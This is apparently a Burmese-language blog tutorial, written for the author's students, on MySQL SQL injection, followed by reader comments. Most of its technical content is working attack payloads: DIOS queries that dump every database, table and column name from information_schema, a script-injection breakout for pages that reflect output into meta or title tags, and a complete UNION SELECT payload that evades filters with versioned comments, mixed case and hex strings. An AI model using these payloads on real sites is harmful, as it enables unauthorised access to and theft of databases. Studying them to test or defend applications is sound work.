Journey to the SQL Injection

က်ေနာ္႕ ေက်ာင္းသားေတြကလဲ ေရးေပးပါေျပာတာနဲ႕ ေရးေပးလိုက္ပါတယ္။ က်ေနာ္ေတာ့ SQL Injection နဲ႕ ၆ လေလာက္ၾကာခဲ့တယ္ဗ် ။ က်ေနာ္႕ကို ဒီေလာကထဲဆြဲေခၚခဲ့တဲ့ ကိုကရင္မတို႕ ကိုရုတို႕ ေၾကာင့္လဲ ခုလိုစျဖစ္တာေပါ့။ ေနာက္ေတာ့ ေခြးပံုေလးနဲ႕ ဦးလူေရႊ ၊ ကိုဒုတ္ ၊ ဦးေဂါ့ ၊ ကိုအလန္း စတဲ့သူေတြကလဲ ေဖးေဖးမမပဲဗ်။ သိပ္စည္းလံုးၾကတယ္။ အျပင္မွာေတာ့ ဟီဟီဟာဟာပဲလုပ္တာမ်ားပါတယ္။ စလုပ္တုန္းကေတာ့အေပ်ာ္ေပါ့။ ေနာက္ေတာ့ Game ကစားရသလိုပဲ စ်န္ဝင္သြားတယ္ထင္ပါတယ္။ ကဲဒါဆိုစလိုက္ရေအာင္

Know your friends

Sha-Wujing or DIOS

ပထမဆံုး DIOS query ကို အရင္ဆံုးရွင္းျပေပးမယ္ ။ တစ္ခုခ်င္းထုတ္တာထက္စာရင္ ဒါကသက္သာတာေပါ့ ။

Dump All Databases

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=/*!50000concat*/(@a,schema_name,'<br>'))))a)

ဒါဘာၾကီးတုန္း Sha-wujing ?

(select (@a) from 
(select(@a:=0x00),
(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>')))
)
a)

တစ္ခုခ်င္းခြဲထုတ္ျပီးရွင္းျပမယ္။

(select (@a) from<query> a)

ဒါကို Double query လုိ႕ေခၚတယ္ subquery သံုးထားတာေပါ့။ ဒီတိုင္းထည့္ၾကည့္ရင္ဘာေျပာလဲ

#1146 - Table 'security.a' doesn't exist

security ဆိုတာ database security.a ဆိုတာမရွိဘူးတဲ့

ဟုတ္ျပီ။ ဒါကို table ရွိေအာင္လုပ္ရတယ္။ @a ဆိုတာ mysql မွာ user defined variable တစ္္ခုျဖစ္တယ္။

(ref)

@a:=1;

ဒီလိုဆိုရင္ @a ထဲမွာ 1 ေရာက္ေနတာေပါ့။

(select @a from(select @a:=1) a)

ဒီလိုဆိုရင္ @a ရဲ႕ value 1 ျပန္ရမယ္

ေလာေလာဆယ္ @a ထဲကို ဘာမွထည့္မထားခ်င္ဘူးဆိုေတာ့ 0x00 -> NULL ထည့္ထားမယ္။

(select @a:=0x00)

ေျပာရမယ္ဆိုရင္ variable assign လုပ္လိုက္တာေပါ့။ သူ႕ထဲကို databases ေတြ ထည့္ခ်င္တာျဖစ္တယ္။

Database ေတြကိုဘယ္မွာသိမ္းလဲ Sha-wujin ?

Information_shchema ဆိုတဲ့ database ထဲက schemata ဆိုတဲ့ table ေတြထဲမွာ schema_name ေတြသိမ္းထားတယ္။ ဒါေၾကာင့္ အဲဒါေတြလိုခ်င္ရင္

select * from information_schema.schemata

တို႕ variable ထဲမွာက NULL ေတြဆိုေတာ့

select @a from information_schema.schemata

ဒါမ်ိဳးေခၚလိုက္ရင္ NULL ေတြခ်ည္းတန္းစီထြက္လာမွာ

ခုနရလာတဲ့ database name ေတြကို အဲ့ဒီ variable ထဲထည့္မယ္ဆိုရင္ေရာ?

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=/*!50000concat*/(@a,schema_name,'<br>'))))a)

database ေတြရျပီေပါ့။

table ထုတ္မယ္ဆိုရင္လဲ တူတူပဲ information_schema -> tables ထဲမွာ table ေတြကိုသိမ္းတယ္

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=/*!50000concat*/(@a,table_name,'<br>'))))a)

တူတူပဲေနာ္ မရွင္းေတာ့ဘူး

query ထဲမွာက information_schema ထဲကဟာေတြပါေနတယ္ မလိုခ်င္ဘူးသြား

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_name,'<br>'))))a)

database , tables ,column အကုန္လံုး ထုတ္မယ္ဆိုရင္ေရာ

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

ဒီလိုိဆို row ေတြ dump ေတြပဲက်န္ျပီ။

Zhu Bajie – Pre Escaping

 

တခ်ိဳ႕အေျခေနေတြမွာ output ကမျပဘူးဗ်ာ ။ အဲဒါနဲ႕ render လုပ္ထားတဲ့ ဆီမွာေပၚမလာဘူး source code ထဲေရာက္ေနတယ္ ။ အဲဒါေတြမ်ိဳးေတြက်ေတာ႕ ျမဳပ္ေနတဲ့ tag ေတြထဲက escape လုပ္ေပးဖို႕လိုမယ္ဗ်။ အဲ့ေတာ့ ခုန DIOS နဲ႕ေပါင္းစပ္လိုက္မယ္ဆိုရင္ ၂ ခုလံုးရွင္းျပီးသားျဖစ္တာေပါ့။

Example

meta ထဲကိုေရာက္ေနတယ္ ေျပာရရင္ေတာ့ head ထဲမွာ တခ်ို႕ title ေတြထဲလဲေရာက္ေနတာေတြ img ထဲေရာက္ေနတာေတြရွိတယ္ ။

meta ထဲမွာက် script ကအလုပ္လုပ္တယ္မလား ဒီေတာ့

concat('"/><script>alert("'+version()+'")</script>')

DIOS နဲ႕တြဲမယ္

alert ေတြအမ်ားၾကီးေတာ့မတက္ေစခ်င္ဘူး

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=/*!50000concat*/(@a,'"/>',table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

ဒါမ်ိုးျမဳပ္ေနတာေတြကို ၾကိုျပီး escape လုပ္ထားလို႕ရတာပဲ

example

"> '> </title> /> "/> '/> </head> </div>

ကိုယ့္ဘာကို ဆက္ထည့္ေနာ္ က်န္တာေတ့ာ :3 ပ်င္းတယ္ heeh

တခါတေလက်ေတာ့ ဘယ္လိုျဖစ္လဲဆုိေတာ့

filter ? time to call Sun Wukong

Sun Wukong – Bypass filters

bypass?

/!*12345uNiOn*/ /*!12345sElEcT*/

ဘာလို႕လဲဆိုရင္ union လို႕ၾကည့္တဲ့အခါ မေတြ႕ဘူး uNiOn ပဲရွိတယ္ SQL မွာက်ေတာ့ case sensitive ကမျဖစ္ဘူး ဒါေၾကာင့္ filter ကမသိဘူး ဒါေပမဲ့ query execute ေတာ့အလုပ္လုပ္တယ္ /!*12345 */ ကေရာ?

mysql က C style comment ကို support ေပးတယ္ ( ref )

example

/*! MySQL-specific code */

12345 ကေတာ့ MySQL Version ကို ေျပာတာ 12345 မဟုတ္ဘူးေျပာတာ ၊ မဟုတ္ဘူးေလ

Comments in this format, /*!12345 ... */, are not stored on the server. If this format is used to comment stored routines, the comments will not be retained on the server.

 

ဒီိလိုဆိုရင္ ေပါင္းစပ္လိုက္မယ္ဆိုရင္

/*!12345uNiOn*/ /*!12345sElEcT*/ 1,2,(/*!12345sElEcT*/ (@a) /*!12345fRoM*/ (/*!12345sElEcT*/(@a:=0x00),(/*!12345sElEcT*/ (@a) /*!12345fRoM*/ (information_schema./**/columns)/*!12345wHeRe*/ table_schema!=0x696e666f726d6174696f6e5f736368656d61 and(@a)in (@a:=/*!50000concat*/(@a,0x3c2f7469746c653e,/*!12345table_schema*/,0x2d,/*!12345table_name*/,0x2d3e,/*!12345column_name*/,0x3c62723e))))a),4,5,6,7--+

</title> ပဲပိတ္ထားတယ္ေနာ္ query က ကိုယ့္ဘာကိုေသခ်ာျပန္လုပ္ၾကေပါ့ ။ ေရးပဲေရးေပးတာ

Conclusion – Meet with Demons

ေအာက္မွာ ျပထားတာကေတာ့ အရိုးျဖဴတေစ ဦးလူေရႊဆိုတဲ့ Demon ပဲ သြားေရာက္နွိမ္နင္းပါ 😛

Demons ေတြ အဲ့ Group မွာ ေစာင့္ေနတယ္ 😛

https://www.facebook.com/groups/430934527300219/

 

4 Comments

  1. Shellcode Injection ေလးကိုေမ်ွာ္ေနပါတယ္ ဆိုေနမွ :3
    sql injection ကေတာ့ လူတိုင္းထိုးတက္တယ္။ tools သံုး၊ ဘာ သံုး၊
    ဒါျပီးရင္ ဒါ။ ဘာျဖစ္ရင္ ဘာလုပ္။
    တကယ္တန္းက်ေတာ့ SQL query ေတြကို ေကာင္းေကာင္းနားလည္မွသာ ပိုအဓိပပါယ္ရွိတာ။
    Art of SQL injection လို့ေတာင္ေျပာလို့ရတယ္ 😀
    SQL injection ထိုးတက္ရံုနဲ့ ရပ္ေနရင္ ရပ္ေနတဲ့လူကက်န္ေနခဲ့မွာပဲ။ :bh:
    ဒါေတာင္ MYSQL ပဲရွိေသးတယ္။
    Demon ျကီးကိုနွိမ္နင္းဖို့ သြားလိုက္အုန္းမယ္ 😛

    • ဒါေပမဲ့လို႕ သူလဲ စိတ္ဝင္စားဖို႕ေကာင္းပါတယ္ 😀 ငါလဲ အဲ့ကေနစခဲ့တာဆိုေတာ့ တိုင္ပတ္ေနတဲ့သူေတြျမင္ေတာ့ေရးေပးတာ hee 😀

Comments are closed.